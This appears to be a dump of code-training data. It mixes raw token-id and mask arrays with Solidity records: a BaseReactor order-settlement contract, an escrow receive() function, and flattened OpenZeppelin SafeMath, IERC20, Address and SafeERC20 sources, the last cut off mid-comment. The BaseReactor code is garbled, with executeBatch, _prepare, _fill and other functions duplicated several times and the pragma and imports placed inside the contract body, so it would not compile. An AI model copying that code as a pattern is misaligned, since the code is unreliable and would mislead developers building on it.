[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 9606, 1338, 1556, 1299, 12, 2867, 18110, 13, 288, 203, 3639, 2583, 12, 26240, 480, 374, 92, 20, 1769, 203, 3639, 389, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x6000da47483062A0D734Ba3dc7576Ce6A0B645C4/sources/src/reactors/BaseReactor.sol
@notice Generic reactor logic for settling off-chain signed orders using arbitrary fill methods specified by a filler Occurs when an output = ETH and the reactor does contain enough ETH but the direct filler did not include enough ETH in their call to execute/executeBatch
abstract contract BaseReactor is IReactor, ReactorEvents, ProtocolFees, ReentrancyGuard { using SafeTransferLib for ERC20; using ResolvedOrderLib for ResolvedOrder; using CurrencyLibrary for address; error InsufficientEth(); IPermit2 public immutable permit2; pragma solidity ^0.8.0; import {SafeTransferLib} from "solmate/src/utils/SafeTransferLib.sol"; import {ReentrancyGuard} from "openzeppelin-contracts/security/ReentrancyGuard.sol"; import {IPermit2} from "permit2/src/interfaces/IPermit2.sol"; import {ERC20} from "solmate/src/tokens/ERC20.sol"; import {ReactorEvents} from "../base/ReactorEvents.sol"; import {ResolvedOrderLib} from "../lib/ResolvedOrderLib.sol"; import {CurrencyLibrary, NATIVE} from "../lib/CurrencyLibrary.sol"; import {IReactorCallback} from "../interfaces/IReactorCallback.sol"; import {IReactor} from "../interfaces/IReactor.sol"; import {ProtocolFees} from "../base/ProtocolFees.sol"; import {SignedOrder, ResolvedOrder, OutputToken} from "../base/ReactorStructs.sol"; constructor(IPermit2 _permit2, address _protocolFeeOwner) ProtocolFees(_protocolFeeOwner) { permit2 = _permit2; } function execute(SignedOrder calldata order) external payable override nonReentrant { ResolvedOrder[] memory resolvedOrders = new ResolvedOrder[](1); resolvedOrders[0] = resolve(order); _prepare(resolvedOrders); _fill(resolvedOrders); } function executeWithCallback(SignedOrder calldata order, bytes calldata callbackData) external payable override nonReentrant { ResolvedOrder[] memory resolvedOrders = new ResolvedOrder[](1); resolvedOrders[0] = resolve(order); _prepare(resolvedOrders); IReactorCallback(msg.sender).reactorCallback(resolvedOrders, callbackData); _fill(resolvedOrders); } function executeBatch(SignedOrder[] calldata orders) external payable override nonReentrant { uint256 ordersLength = orders.length; ResolvedOrder[] memory resolvedOrders = new ResolvedOrder[](ordersLength); unchecked { for (uint256 i = 0; i < ordersLength; i++) { resolvedOrders[i] = resolve(orders[i]); } } _prepare(resolvedOrders); _fill(resolvedOrders); } function executeBatch(SignedOrder[] calldata orders) external payable override nonReentrant { uint256 ordersLength = orders.length; ResolvedOrder[] memory resolvedOrders = new ResolvedOrder[](ordersLength); unchecked { for (uint256 i = 0; i < ordersLength; i++) { resolvedOrders[i] = resolve(orders[i]); } } _prepare(resolvedOrders); _fill(resolvedOrders); } function executeBatch(SignedOrder[] calldata orders) external payable override nonReentrant { uint256 ordersLength = orders.length; ResolvedOrder[] memory resolvedOrders = new ResolvedOrder[](ordersLength); unchecked { for (uint256 i = 0; i < ordersLength; i++) { resolvedOrders[i] = resolve(orders[i]); } } _prepare(resolvedOrders); _fill(resolvedOrders); } function executeBatchWithCallback(SignedOrder[] calldata orders, bytes calldata callbackData) external payable override nonReentrant { uint256 ordersLength = orders.length; ResolvedOrder[] memory resolvedOrders = new ResolvedOrder[](ordersLength); unchecked { for (uint256 i = 0; i < ordersLength; i++) { resolvedOrders[i] = resolve(orders[i]); } } _prepare(resolvedOrders); IReactorCallback(msg.sender).reactorCallback(resolvedOrders, callbackData); _fill(resolvedOrders); } function executeBatchWithCallback(SignedOrder[] calldata orders, bytes calldata callbackData) external payable override nonReentrant { uint256 ordersLength = orders.length; ResolvedOrder[] memory resolvedOrders = new ResolvedOrder[](ordersLength); unchecked { for (uint256 i = 0; i < ordersLength; i++) { resolvedOrders[i] = resolve(orders[i]); } } _prepare(resolvedOrders); IReactorCallback(msg.sender).reactorCallback(resolvedOrders, callbackData); _fill(resolvedOrders); } function executeBatchWithCallback(SignedOrder[] calldata orders, bytes calldata callbackData) external payable override nonReentrant { uint256 ordersLength = orders.length; ResolvedOrder[] memory resolvedOrders = new ResolvedOrder[](ordersLength); unchecked { for (uint256 i = 0; i < ordersLength; i++) { resolvedOrders[i] = resolve(orders[i]); } } _prepare(resolvedOrders); IReactorCallback(msg.sender).reactorCallback(resolvedOrders, callbackData); _fill(resolvedOrders); } function _prepare(ResolvedOrder[] memory orders) internal { uint256 ordersLength = orders.length; unchecked { for (uint256 i = 0; i < ordersLength; i++) { ResolvedOrder memory order = orders[i]; _injectFees(order); order.validate(msg.sender); transferInputTokens(order, msg.sender); } } } function _prepare(ResolvedOrder[] memory orders) internal { uint256 ordersLength = orders.length; unchecked { for (uint256 i = 0; i < ordersLength; i++) { ResolvedOrder memory order = orders[i]; _injectFees(order); order.validate(msg.sender); transferInputTokens(order, msg.sender); } } } function _prepare(ResolvedOrder[] memory orders) internal { uint256 ordersLength = orders.length; unchecked { for (uint256 i = 0; i < ordersLength; i++) { ResolvedOrder memory order = orders[i]; _injectFees(order); order.validate(msg.sender); transferInputTokens(order, msg.sender); } } } function _fill(ResolvedOrder[] memory orders) internal { uint256 ordersLength = orders.length; unchecked { for (uint256 i = 0; i < ordersLength; i++) { ResolvedOrder memory resolvedOrder = orders[i]; uint256 outputsLength = resolvedOrder.outputs.length; for (uint256 j = 0; j < outputsLength; j++) { OutputToken memory output = resolvedOrder.outputs[j]; output.token.transferFill(output.recipient, output.amount); } emit Fill(orders[i].hash, msg.sender, resolvedOrder.info.swapper, resolvedOrder.info.nonce); } } if (address(this).balance > 0) { CurrencyLibrary.transferNative(msg.sender, address(this).balance); } } function _fill(ResolvedOrder[] memory orders) internal { uint256 ordersLength = orders.length; unchecked { for (uint256 i = 0; i < ordersLength; i++) { ResolvedOrder memory resolvedOrder = orders[i]; uint256 outputsLength = resolvedOrder.outputs.length; for (uint256 j = 0; j < outputsLength; j++) { OutputToken memory output = resolvedOrder.outputs[j]; output.token.transferFill(output.recipient, output.amount); } emit Fill(orders[i].hash, msg.sender, resolvedOrder.info.swapper, resolvedOrder.info.nonce); } } if (address(this).balance > 0) { CurrencyLibrary.transferNative(msg.sender, address(this).balance); } } function _fill(ResolvedOrder[] memory orders) internal { uint256 ordersLength = orders.length; unchecked { for (uint256 i = 0; i < ordersLength; i++) { ResolvedOrder memory resolvedOrder = orders[i]; uint256 outputsLength = resolvedOrder.outputs.length; for (uint256 j = 0; j < outputsLength; j++) { OutputToken memory output = resolvedOrder.outputs[j]; output.token.transferFill(output.recipient, output.amount); } emit Fill(orders[i].hash, msg.sender, resolvedOrder.info.swapper, resolvedOrder.info.nonce); } } if (address(this).balance > 0) { CurrencyLibrary.transferNative(msg.sender, address(this).balance); } } function _fill(ResolvedOrder[] memory orders) internal { uint256 ordersLength = orders.length; unchecked { for (uint256 i = 0; i < ordersLength; i++) { ResolvedOrder memory resolvedOrder = orders[i]; uint256 outputsLength = resolvedOrder.outputs.length; for (uint256 j = 0; j < outputsLength; j++) { OutputToken memory output = resolvedOrder.outputs[j]; output.token.transferFill(output.recipient, output.amount); } emit Fill(orders[i].hash, msg.sender, resolvedOrder.info.swapper, resolvedOrder.info.nonce); } } if (address(this).balance > 0) { CurrencyLibrary.transferNative(msg.sender, address(this).balance); } } function _fill(ResolvedOrder[] memory orders) internal { uint256 ordersLength = orders.length; unchecked { for (uint256 i = 0; i < ordersLength; i++) { ResolvedOrder memory resolvedOrder = orders[i]; uint256 outputsLength = resolvedOrder.outputs.length; for (uint256 j = 0; j < outputsLength; j++) { OutputToken memory output = resolvedOrder.outputs[j]; output.token.transferFill(output.recipient, output.amount); } emit Fill(orders[i].hash, msg.sender, resolvedOrder.info.swapper, resolvedOrder.info.nonce); } } if (address(this).balance > 0) { CurrencyLibrary.transferNative(msg.sender, address(this).balance); } } receive() external payable { } }
9,648,273
[ 1, 7014, 19178, 4058, 364, 26319, 2456, 3397, 17, 5639, 6726, 11077, 377, 1450, 11078, 3636, 2590, 1269, 635, 279, 28187, 531, 2803, 87, 1347, 392, 876, 273, 512, 2455, 471, 326, 19178, 1552, 912, 7304, 512, 2455, 1496, 326, 2657, 28187, 5061, 486, 2341, 7304, 512, 2455, 316, 3675, 745, 358, 1836, 19, 8837, 4497, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 17801, 6835, 3360, 426, 3362, 353, 467, 426, 3362, 16, 868, 3362, 3783, 16, 4547, 2954, 281, 16, 868, 8230, 12514, 16709, 288, 203, 565, 1450, 14060, 5912, 5664, 364, 4232, 39, 3462, 31, 203, 565, 1450, 22776, 2448, 5664, 364, 22776, 2448, 31, 203, 565, 1450, 13078, 9313, 364, 1758, 31, 203, 203, 565, 555, 22085, 11339, 41, 451, 5621, 203, 203, 565, 2971, 1035, 305, 22, 1071, 11732, 21447, 22, 31, 203, 203, 683, 9454, 18035, 560, 3602, 20, 18, 28, 18, 20, 31, 203, 5666, 288, 9890, 5912, 5664, 97, 628, 315, 18281, 81, 340, 19, 4816, 19, 5471, 19, 9890, 5912, 5664, 18, 18281, 14432, 203, 5666, 288, 426, 8230, 12514, 16709, 97, 628, 315, 3190, 94, 881, 84, 292, 267, 17, 16351, 87, 19, 7462, 19, 426, 8230, 12514, 16709, 18, 18281, 14432, 203, 5666, 288, 2579, 1035, 305, 22, 97, 628, 315, 457, 1938, 22, 19, 4816, 19, 15898, 19, 2579, 1035, 305, 22, 18, 18281, 14432, 203, 5666, 288, 654, 39, 3462, 97, 628, 315, 18281, 81, 340, 19, 4816, 19, 7860, 19, 654, 39, 3462, 18, 18281, 14432, 203, 5666, 288, 426, 3362, 3783, 97, 628, 315, 6216, 1969, 19, 426, 3362, 3783, 18, 18281, 14432, 203, 5666, 288, 12793, 2448, 5664, 97, 628, 315, 6216, 2941, 19, 12793, 2448, 5664, 18, 18281, 14432, 203, 5666, 288, 7623, 9313, 16, 423, 12992, 97, 628, 315, 6216, 2941, 19, 7623, 9313, 18, 18281, 14432, 203, 5666, 288, 45, 426, 3362, 2428, 97, 628, 315, 6216, 15898, 19, 2 ]
./full_match/5/0x6C22c3Bd086DCa9Bbb9d9ABe5B5d77827560bEEB/sources/contracts/escrow/extensions/ERC20Extension.sol
* @dev Receive function to disallow direct ether transfers. Any attempt to send Ether to the contract causes a revert./
receive() external payable { _revert(); }
1,933,666
[ 1, 11323, 445, 358, 29176, 2657, 225, 2437, 29375, 18, 5502, 4395, 358, 1366, 512, 1136, 358, 326, 6835, 14119, 279, 15226, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 6798, 1435, 3903, 8843, 429, 288, 203, 3639, 389, 266, 1097, 5621, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** *Submitted for verification at Etherscan.io on 2021-04-16 */ // Sources flattened with hardhat v2.1.1 https://hardhat.org // File @openzeppelin/contracts/math/[email protected] pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // File @openzeppelin/contracts/token/ERC20/[email protected] pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File @openzeppelin/contracts/utils/[email protected] pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File @openzeppelin/contracts/token/ERC20/[email protected] pragma solidity >=0.6.0 <0.8.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 